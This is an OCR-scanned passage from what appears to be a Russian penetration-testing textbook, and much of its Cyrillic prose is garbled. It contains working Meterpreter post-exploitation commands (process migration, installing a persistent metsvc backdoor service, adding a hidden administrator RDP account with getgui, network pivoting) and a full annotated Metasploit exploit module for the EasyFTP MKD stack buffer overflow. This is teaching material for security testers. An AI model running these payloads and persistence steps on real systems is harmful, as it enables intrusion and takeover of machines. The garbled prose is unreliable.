??C:WINDOWSsystem32csrss.exe

528 winlogon.exe x86 2 NT AUTHORITYSYSTEM
??C:WINDOWSsystem32winlogon.exe

240 rdpclip.exe  x86 2] CUSTDESKMomin Desktop
C:WINDOWSsystem32rdpclip.exe

1060 userinit.exe x86 2] CUSTDESKMomin Desktop
C:WINDOWSsystem32userinit.exe

1544 explorer.exe x86 2] CUSTDESKMomin Desktop

C:WINDOWSExplorer.EXE

meterpreter> migrate 1544

[*] Migrating to 1544...

[*] Migration completed successfully.
meterpreter> run metsvc -h

meterpreter> run metsvc

[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory
C:DOCUME~1MOMIND~1LOCALS~1TempoNyLOPeS. ..

[*] >> Uploading metsrv.dll...

[*] >> Uploading metsvc-server.exe...

[*] >> Uploading metsvc.exe...

[*] Starting the service...

* Installing service metsvc

* Starting service

Service metsvc successfully installed.
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Utak, 115t 11e1eBoit ManmiHbl GbLT 3amyTien 6aka0p. /s B3anMOICHCTBIS ¢ HATITM
6IKTOP-CEPBUCOM 3aKPOEM TeKyTIHi cearic Meterpreter u, Koria Ham moTpebyeTcst, wic-
nosb3yeM multi/handler ¢ oJsie3HOM HArpy3Koi windows/netsve_bind_tcp:

meterpreter> exit

[*] Meterpreter session 1 closed. Reason: User exit msf

exploit(ms@8_067 netapi) > back msf> use exploit/multi/handler msf
exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp PAYLOAD => windows/
metsvc_bind_tcp msf exploit(handler) > set LPORT 31337 LPORT => 31337

msf exploit(handler) > set RHOST 192.168.0.7 RHOST => 192.168.0.7 msf
exploit(handler) > exploit [*] Starting the payload handler... [*] Started
bind handler [*] Meterpreter session 2 opened (192.168.0.3:37251->
192.168.0.7:31337) at Tue Nov 16 20:02:05 +0000 2010 meterpreter>getuid Server
username: NT AUTHORITYSYSTEM

YT00B! Ha IIEJIEBOM KOMITBIOTEPE BKJIKOUYUTD yIaJCeHHbII JOCTYI K Pabodyemy ctony,
nornpobyeM UCII0JIb30BaTh APYrol 10JIe3Hblil clieHapuii Meterpreter: getgui. B caemxy-
IOLIEM yIIPaKHeHN Oy/IeT Co3laHa HOBasl y4eTHAas 3alliCh II0JIb30BaTeJI, 1, CJIU CIIyKba
yaaneHHOro Paboyero ctona Obliia OTKJII0UYEHa, BKIIOUNM ee:
meterpreter> run getgui -u btuser -p btpass
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
] Carlos Perez carlos_perez@darkoperator.com
] Language set by user to: 'en_EN'

] Setting user account for logon

] Adding User: btuser with Password: btpass

] Adding User: btuser to local group 'Remote Desktop Users'
] Adding User: btuser to local group 'Administrators’

] You can now login with the created user

] For cleanup use command: run multi_console_command

r

TeHepb C TTOMOIILIO KOMaH/1bl rdesktop Mbl MOKEM BOWTH B Halny MeJjaeByo CUCTEMY.
IIJIH 9TOrO 3allyCTHUM €1I1€ OJINH TEPMHWHAJ 1 BBEJIEM CJICAYIONTYIO KOMaH/y:

# rdesktop 192.168.0.7:3389

OG6partuTe BHUMAHUE: €CJIM Y BaC Ha [IEJIEBOM KOMIIBIOTEPE JIJIST JII0OOTO CYIIECTBY-
OTIETO MOJb30BATESA YIKE €CTh B3JIOMAHHBINA MAPOJIb, TO JJIST BKIIOYEHUS CHYKObI
y/laJieHHOTO Paboyero ctonia MOSKHO ITPOCTO BBIIIOJTHUTBL KOMaH/y run getgui -e. B atom
cJydae HOBOTO TIOJIb3oBaTelist 100aBisaTh He nmorpedyercst. Kpome Toro, He 3a0yapre
OYNCTUTH CBOM TPEKU B CHCTEMe, BBITIOJIHUB ClleHapuii getgui/clean_up, yKa3aHHBIN
B KOHIIE IIPE/IbIYIIET0 BbIBOIA.

Kak paciuputs 061acTh ataku, oaydus Gosree TIyOGOKHUiT IOCTYII K 1IETIEBOIA CETH, He-
nocTyiHoi ussHe? Metasploit ¢ ToMoIbIo KoMaH/IbI route add targetSubnettargetSub-
netMaskSessionId (Hampumep, route add 10.2.4.0 255.255.255.0 1) IIpe/l0CTaBJIsIeT
BO3MOKHOCTH POCMOTPa U J0OABJIEHUS B 1IEJIEBYIO CETh HOBBIX MapIIPYTOB. 31eCh
napaMmeTp SessionId yKa3blBaeT Ha CyIeCTBYIONIUII ceanc Meterpreter (1umo3), a ma-
pameTp T1eJIeBOH TIOJICETH SBJISIETCST IPYTUM CETEBBIM a/ipecoM (I IBOMHBIM CETEBBIM
azpecoMm Ethernet), KOTOPBII HAXOAUTCS 3a MPEIEIAMU HAIIIE CKOMITPOMETHPOBAHHOM
resi. Kak Tosibko Mbl yeranoBum Metasploit /st Mapipytusaiuu Bcero Tpaduka uepes
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CKOMHpOMETI/IpOBaHHbIﬁ ceaHcC XOCTa, MbI 6y11€M TOTOBbBI IPOHUKHYTD /IAJIbIIIE B CETb,
KOTOpasa 0OBIYHO C HaNIei CTOPOHbBI HE MapIIPYTU3NUPYETCA. ITO U eCTh 06paTHa$1 CBA3b.

HanncaHne Moaynemn aKcnionTa

PazpaboTka aKCILIOlTa — OJHA U3 CAMbBIX MHTEPECHBIX (hyHKIU (hpeiimBopka Metasploit.
B aToM paspesie Mbl KpaTKO 00CY MM OCHOBHBIE IIPOOJIEMbI, CBI3aHHbIE C PA3BUTHEM aTa-
KU, ¥ HA IIPUMEPE CyLIeCTBYIOIIEl 0a3bl JaHHBIX pasbepeM HanboJ1ee BasKHbIe MOMEHTHL.
TeMm He MeHee, TIPEsKIE YeM HalrcaTh CBOil COOCTBEHHBII MOYJIb 9KCIIONTA, U3YUUTE
sI3BIK TIporpamMmupoBaust Ruby. C apyroii CTOPOHBI, TPOMEKYTOUHbBIE HABBIKU 00PaTHOI
UH/KEHEPUH U MPAKTUYECKOE IIOHUMAHNE MHCTPYMEHTOB 00HAPYKEHUS YI3BUMOCTEN
(HampuMep, 3aTyMaHUBATeIN U OTJIAYUKN ) 00JIerdaioT co3aanme sKcioiita. O6parure
BHUMaHMeE, 4TO 9TOT pas/iesl IpecTaBJseT coO0I TOIbKO BBEEHHE B TEMY, a HE IIOJIHOE
PYKOBOJICTBO.

Jlist mpumepa Mol BoiOpastu axciioit EasyFTP Server <= 1.7.0.11 MKD Command
Stack Buffer Overflow. Ha ero ocHoBe MBI paccCMOTPUM HCIIOJIb30BAHKE YSI3BUMOCTU
nepenojHenus 6ydepa B npunoxkernu Easy FTP Server. Bl Moxkere OPTUPOBaTh
STOT MOJIYJIb JIJIst TO0OHON YSA3BUMOCTH, OOHAPYKEHHON B APYTUX MPUIOKEHUSIX
FTP-cepBepa, n B Hy;kHOE BpeMs ah(PeKTUBHO ero UCToab30BaTh. Ko akciioiita Ha-
XOJIUTCA 110 ajipecy /usr/share/metasploitframework/modules/exploits/windows/
ftp/easyftp_mkd_fixret.rb.

H##
# $Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $
##

[Tpeaprynuii Ko — 6a30BbIil 3aT0JOBOK, TIPEACTABISIONII UM (daiiia, HoMep
PelaKkIuy U 3HAYEHUs JIAThl U BPEMEHU IKCILIONTA:

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/

##

require 'msf/core’

Bubimorexa MSF core B Hauase sKCILIONTA TpeOyeT NHUIMATU3ALUN:
class Metasploit3 <Msf::Exploit::Remote

B nmpempinyiem xoze xkiace Exploitmixin/ mpefocTaBiaseT pa3andHbie TapaMeTPhl
u MeTojbl st ynanenubix TCP-coepmnennit, nanpumep RHOST, RPORT, Connect(),
Disconnect() m SSL(). Cremytomuii Ko/l TOKa3bIBAET YPOBEHDb PAHTa, TTPUCBOCHHBIN
AKCIJIONTY Ha OCHOBE €T0O YaCTOTO CIPOCA U UCTIOJIH30BAHUS:

Rank = GreatRanking
B caemytoriem kozie kiace Ftp mixin/ ycranaBausaet coequnenne ¢ FTP-cepsepom:

includeMsf::Exploit: :Remote: :Ftp
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Ciiemyronuii Koz mpegocrasisger o0mue ceeHns 06 9KCIIONTe U yKas3biBaeT Ha
U3BECTHBIE CCHLIKU:

def initialize(info = {})
super(update_info(info,
'Name' => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow',
'Description’ => %q{
This module exploits a stack-based buffer overflow in EasyFTP Server
1.7.0.11 and earlier. EasyFTP fails to check input size when parsing
'MKD' commands, which leads to a stack based buffer overflow.

NOTE: EasyFTP allows anonymous access by default. However, in order
to access the 'MKD' command, you must have access to an account that
cancreate directories.

After version 1.7.0.12, this package was renamed "UplusFtp".

This exploit utilizes a small piece of code that I've referred to as
"fixRet'.
This code allows us to inject of payload of ~500 bytes into a 264byte
buffer by 'fixing' the return address post-exploitation. See
references for more information.
s
'Author' =>
[
'x90c', # original version
'jduck' # port to metasploit / modified to use fix-up stub
(works with bigger payloads)
1,
'License’ => MSF_LICENSE,
'Version' => '$Revision: 9935 $',
'References’ =>
[
[ 'OSVvDB', '62134' ],
[ "URL", 'http://www.exploit-db.com/exploits/12044/"' 1,
[ "URL"', 'http://www.exploit-db.com/exploits/14399/" ]
1,

C.He[[yIOH_[I/Iﬁ KO/l YKa3bIBa€T MOJIE3HOM Harpy3ke OUMCTUTb cebsd mocJie 3aBepHICHUA
IIpoIriecca BbIITOJTHEHU !

'DefaultOptions’ =>

{
"EXITFUNC' => 'thread'

Cuepyrouuii pparmMeHT Koza onpezaeser 512 6aiit mpocTpaHcTBa, AOCTYIHOTO
JUISE KOJIa 000JIOUKH, EPEUNCIISIET TIIIOXUE CUMBOJIBI, M3-32 KOTOPBIX MOKET BO3HUK-

HYTb OmKMOKa 1 IPEKPATUTCS JOCTABKA [I0JIE€3HBIX JaHHBIX, U OTKJII0YAeT 3all0JHEeHNe
NOP:

¥
'Privileged' => false,
'Payload' =>



{

'Space' =>

512,

'BadChars' => "x@0x0ax0dx2fx5c",
'DisableNops' => true

}s
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Cirienyrotuii hparMeHT KoJla COIEPKUT MHCTPYKIIUU O TOM, Kakas 1aaTdopma siB-
JisgeTcst 1eseBoit u onpeessdet ysa3pumbie 1eau (ot 0 10 9). Ilepeuncienst pazinyHbie
Bepcun Easy FTP Server (1.7.0.2-1.7.0.11), kaskmas n3 KOTOPBIX MPeICTABISIET YHU-
KaJIbHBIET 06paTHBII aj[pec Ha OCHOBe GUHAPHOTO (haiiia mpunoKenus (ftpbasicsvr.exe).
Kpowme toro, mobasiiena ata pacKphITHS SKCIIIONTA, & MEJNEBOH 00HEKT MO YMOTIAHIIO
ycranosyien B 0 (v1.7.0.2):

'Platform’ =
'Targets' =>
[
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ 'Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
[ 'Windows
call ebp -
[ '"Windows
call ebp -
[ '"Windows
call ebp -
1,

> 'win',

Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.
Universal - v1.7.
from ftpbasicsvr.

0.2',
exe
0.3",
exe
0.4',
exe
9.5",
exe
0.6",
exe
0.7',
exe
0.8,
exe

.0.9',

exe
0.10",
exe
0.11',
exe

'‘DisclosureDate’ => 'Apr 04 2010°,
'DefaultTarget' => 0))

{
{
{
{
{
{
{
{
{
{

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

'Ret’

0x004041ec

0x004041ec

0x004041dc

0x004041al

0x004041al

0x004041al

0x00404481

0x00404441

0x00404411

0x00404411

I
1
I
1,
1
I
1
1
I
1

B caenyroriiem kojie hyHKIUS check () ONMPEAEsieT, IBJSIETCS Ji OOBEKT YSI3BUMBIM:

end

def check
connect
disconnect

if (banner =~ /BigFoolCat/)
return Exploit::CheckCode: :Vulnerable

end

return Exploit::CheckCode: :Safe

end
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Carepytomuii koji onpefiesigeT GyHKINIO, KOTOpas TeHepupyeT yBeJndeHue JAJIUHbI
koauposku (NOP sleds) mist nopnepsxku IDS /TIPS /AV-ykioHenust. HekoTtopsie cuu-
tator NOP sleds ObICTPBIM 1 IPSI3HBIM PEIIEHUEM 9TOU IPOOIEMBI U LyMAIOT, YTO MX
HE CJIeIyeT UCTIONb30BaTh, €CJIM HET 0COOEHHO BECKON MPUYUHBL. [IJIsI IPOCTOTHI B 9TOM
IpuMepe HAIMCAHUS MOJIYJISE MbI OCTaBUJIN (DYHKITUIO B KOJIE:

defmake_nops(num); "C" * num; end

Curenytotiast ripotierypa Gurcupyer 0OpaTHbIil aipec, ¢ KOTOPOTO MOKHO BBIITOJIHUTD
MOJIE3HYT0 HATPY3KY. TEXHUYECKN ATO Pemraet mpobaeMy aipecalui CTeKa:

def exploit
connect_login

# NOTE:
# This exploit jumps to ebp, which happens to point at a partial version
# of the 'buf' string in memory. The fixRet below fixes up the code stored
# on the stack and then jumps there to execute the payload. The value
# inesp is used with an offset for the fixup.
fixRet_asm = %q{

movedi,esp

subedi, oxfffffelo

mov [edi], ©xfeedfed5

addedi, exffffffi4

jmpedi

}

fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new,
fixRet_asm).encode_string

buf = "'

IMepBonayasbHo Oydep aKCILIONTA COAEPKUT KOAUPOBAHHBII 00paTHBIN ajpec U He-
ynopsgoderHbie nHCTPYKIu NOP:

print_status("Prepending fixRet...")
buf<<fixRet
buf<<make_nops(0x20 - buf.length)

Cureyiomuii KoJi BO BpeMs BHITIOJHEHUsT JOOABJISAET K HAIIEMY SKCILIONTY ANHAMI-
YeCKH CTeHEePUPOBAHHBIN KO 0O0TIOUKH:

print_status("Adding the payload...")
buf<<payload.encoded

Koz, mpuBesieHHBIHN 1ajiee, UCTIPABJISET JAHHBIE CTEKA W BO3BPAIIACTCS O aJIpecy,
cozepskamemycs B 6ydepe Koga 060109KM:

# Patch the original stack data into the fixer stub

buf[10, 4] = buf[268, 4]

print_status("Overwriting part of the payload with target address...")
buf[268,4] = [target.ret].pack('V') # put return address @ 268 bytes

B KomIIe, MCI0Ib3YSI IPEAbIAYIINI KO, MbI OTIIPABJISIEM HALI 3aBePIIEHHbIN Oydep
B KOHKPETHYIO T1eJib, UCITOIb3Ys yS3BUMYIO KOMaHy TtoctayTenTrdukamnmu MKD. [To-
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CKOJIbKY KoMaHa MKD Ha cepsepe Easy FTP ysassuma mis nepenontenus Oydepa Ha
OCHOBE CTeKa, KOMaH/a buf MO3BOJNT MEePENOJHNTD 1IeJIeBOI CTEK U MCIOIb30BaTh
L[EJIEBYIO CUCTEMY, BBITIOJIHUB TI0JIE3HYIO HATPY3KY:

print_status("Sending exploit buffer...")
send_cmd( ['MKD', buf], false)

3aBepIiuTe CoeJMHEHNE C TIOMOIIBIO CJIE/IYIONIEr0 KOJa:

handler
disconnect
end

end

Metasploit ocHalleH 110/1e3HbIMKI MHCTPYMEHTaMM, TaKuMK Kak msfpescan s Win32
u msfelfscan st cucrem Linux, KoTopbie MOTYT TOMOYB BaM B IIOMCKE TIETIEBOTO 0Opar-
Horo azipeca. Hampumep, 4ToObI HAiTH YCTOHYUBBIN 0OPaTHBII afipec U3 BEIOPAaHHOTO
(haiia npusoskenus, BBEANTE:

msfpescan -p targetapp.ext

Pe3ome

B 2710i1 ry1aBe MbI yKazajiu Ha HECKOJIbKO KJIFOYEBBIX 00J1acTeil, HeOOXOAUMBIX LIS 11e-
JieBoit akciuryatanuy. CHavasia Mbl IPEACTaBUAN 0030p MCCIEeA0BAHUN YI3BUMOCTH,
B KOTOPOM IIO[YEPKUBAJIOCH, YTO UCIIbITATENb HA IPOHUKHOBEHHUE JOJKEH 001a1aTh
KOHKPETHBIMU 3HAHUSAMU U HaBbIKaMu. OHU IPUTOATCS I OIEHKU YSI3BUMOCTH.
3aTeM MbI TIPE/ICTABUIIN CIIUCOK OHJIAWH-PENIO3UTOPHUER, M3 KOTOPBIX BBl MOJKETe TI0JTY-
YUTD P IyOJUYHO PACKPBITHIX YI3BUMOCTEH 1 KOJIOB 9KCIIONTOB. B 3aKk/0unTeIbHOM
paszesie Mbl IPUBEJH MTPAKTUUYECKUT TTPUMEP UCITOTB30BAHUS YCOBEPIIEHCTBOBAHHOTO
MHCTPYMEHTAPUST SKCIUTyarauy moj| HazsanueMm Metasploit. TIpeaiaraempie yrpask-
HeHWS TpeIHa3HAYEHbI TOJBKO JIJISI TOHUMAHUS TOTO, KaK C TIOMOIIbIO TAKTHYECKUX
METO/IOB HKCIJIyaTaIlMy BBITIOJHUTH aTaKy Ha IeJIeBoil KOMITbIoTep. Kpome Toro, Mbl
MHTEPIIPETUPOBAIN MIeU Pa3pabOTKI SKCILIONTOB, aHAIU3UPYST KasKIblil mar odpasia
KOJ/la 9KCILIONTa 13 peiiMBOPKa, YTOOBI ITOMOYb BaM MOHSATH OCHOBHYIO CTPYKTYPY
U CTPATEruio CO3/IaHusl.

B caienyroneii riase Mbl 00CYAMM HPOIECC DCKATAIMN TPUBUJIEIUI U HOAIEPKAHUS
JIOCTYTIA C UCTIOTh30BAHNEM PAa3/IMUYHbIX MHCTPYMEHTOB M METO/IOB.
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